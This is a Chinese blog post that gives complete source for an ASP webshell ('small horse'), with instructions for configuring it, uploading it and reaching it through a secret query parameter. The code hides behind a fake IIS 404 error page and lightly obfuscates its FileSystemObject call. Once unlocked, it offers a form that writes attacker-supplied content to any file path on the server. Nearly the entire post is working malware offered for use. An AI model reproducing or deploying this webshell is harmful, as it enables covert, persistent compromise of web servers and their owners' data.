一个asp小马


此Asp小马主要目的是防止被别人利用的小马,主要是利用接受的请求参数可以自定义,如果是参数名或者是参数不匹配都不会出现小马的界面而出现未找到页面,而且也不会执行写入函数,并且,本地构造表单也不会绕过验证的。
我们在使用小马之前只要修改两个变量的值就可以了。注意,在保存代码的时候,选择UTF-8。那么我们传上去之后这样访问 http://mm.asp文件地址?文件中Param的值=文件中ParamData的值。例如:http://www.baidu.com/mm.asp?Ba=Glacier

MM.asp
[html]
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
‘Code By BaCde
Response.Codepage= 65001
Response.Buffer = False
On Error Resume Next

Dim Mpath,ObjFs,ObjFile,Action,Content,RedirectUrl,PathStr,Param,ParamData

Param = "Ba" ‘参数
ParamData = "Glacier" ‘参数的数据
‘修改以上两个地方就可以了
Param1 = Trim(Request.QueryString(Param))

If Param1 <> ParamData Then

%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<style>
a:link{font:9pt/11pt 宋体; color:FF0000}
a:visited{font:9pt/11pt 宋体; color:#4e4e4e}
</style>

<META NAME="ROBOTS" CONTENT="NOINDEX">

<title>找不到网页</title>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<script>
function Homepage(){
<!–
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm

//For testing use DocURL = "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
DocURL = document.URL;
//this is where the http or https will be, as found by searching for :// but skipping the res://
protocolIndex=DocURL.indexOf("://",4);
//this finds the ending slash for the domain server
serverIndex=DocURL.indexOf("/",protocolIndex + 3);

//for the href, we need a valid URL to the domain. We search for the # symbol to find the begining
//of the true URL, and add 1 to skip it – this is the BeginURL value. We use serverIndex as the end marker.
//urlresult=DocURL.substring(protocolIndex – 4,serverIndex);
BeginURL=DocURL.indexOf("#",1) + 1;
urlresult=DocURL.substring(BeginURL,serverIndex);
//for display, we need to skip after http://, and go to the next slash
displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);

InsertElementAnchor(urlresult, displayresult);
}

function HtmlEncode(text)
{
return text.replace(/&/g, ‘&amp’).replace(/’/g, ‘&quot;’).replace(/</g, ‘&lt;’).replace(/>/g, ‘&gt;’);
}

function TagAttrib(name, value)
{
return ‘ ‘+name+’="’+HtmlEncode(value)+’"’;
}

function PrintTag(tagName, needCloseTag, attrib, inner){
document.write( ‘<‘ + tagName + attrib + ‘>’ + HtmlEncode(inner) );
if (needCloseTag) document.write( ‘</’ + tagName +’>’ );
}

function URI(href)
{
IEVer = window.navigator.appVersion;
IEVer = IEVer.substr( IEVer.indexOf(‘MSIE’) + 5, 3 );

return (IEVer.charAt(1)==’.’ && IEVer >= ‘5.5’) ?
encodeURI(href) :
escape(href).replace(/%3A/g, ‘:’).replace(/%3B/g, ‘;’);
}

function InsertElementAnchor(href, text)
{
PrintTag(‘A’, true, TagAttrib(‘HREF’, URI(href)), text);
}

//–>
</script>

<body bgcolor="FFFFFF">

<table width="410" cellpadding="3" cellspacing="5">

<tr>
<td align="left" valign="middle" width="360">
<h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!–Problem–>找不到网页</h1>
</td>
</tr>

<tr>
<td width="400" colspan="2">
<font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重命名或暂时不可用。</font></td>
</tr>

<tr>
<td width="400" colspan="2">
<font style="COLOR:000000; FONT: 9pt/11pt 宋体">

<hr color="#C0C0C0" noshade>
<p>请尝试执行下列操作:</p>

<ul>
<li>如果是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<br></li>

<li>打开 <script>
<!–
if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && (window.navigator.appVersion.charAt(0) == "2")))
{
Homepage();
}
//–>
</script>

主页,然后查找与所需信息相关的链接。</li>

<li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
</ul>

<h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 – 找不到文件<br> Internet 信息服务<BR></h2>

<hr color="#C0C0C0" noshade>
<p>技术信息(用于支持人员)</p>
<ul>
<li>详细信息:<br><a href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=404&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3="

target="_blank">Microsoft 支持</a>
</li>
</ul>

</font></td>
</tr>

</table>
</body>
</html>
<%
‘Response.End
Else
Action = Trim(Request.Querystring("Action"))
Mpath = Trim(Request.Form("Mpath"))
Content = Trim(Request.Form("Content"))
PathStr = Split(Mpath,"\")
RedirectUrl = PathStr(UBound(PathStr))
If Action = "OK" Then
Set ObjFs = Server.CreateObject("ScR"&ABc&"ipting.FiLESYStEmOBjEct")
Set ObjFile = ObjFs.CREAteTEXtFiLe(Mpath,True)
ObjFile.Write Content
ObjFile.Close
Set ObjFile = Nothing
If Err = 0 Then
Response.Write "<script>alert(‘Save Sucess’);location.href=’"&RedirectUrl&"’;</script>"
Else
Response.Write "<script>alert(‘Save Fail’);location.href=’?Action=Can’;</script>"
End If
End If

%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MM – BaCde</title>
<style>

body {font-size:12px;}
.txt {border:1px solid #cccccc;font-size:12px;color:#ff0000;}
p {font-size:12px;color:#ff0000;width:300px;text-align:left;padding:0px;margin:0px;}
</style>
</head>

<body>

<div id="layout">
<form action="?Action=OK&<%=Param%>=<%=ParamData%>" name="mm" method="post">
<p>写入路径:
<input type="text" value="<% =SERvER.mAppAth(REqUESt.SERvERvARiABLES("ScRipt_nAmE")) %>" name="Mpath" class="txt"/>
</p>
<p>&nbsp;</p>
<p>
<label>写入内容:
<textarea name="Content" id="Content" cols="60" rows="10" class="txt"></textarea>
</label>
</p>
<p style="text-align:right;"><input name="submit" value="提交" type="submit"/></p>
</form>
</div>
</body>
</html>
<%End If%>
[/html]

发表评论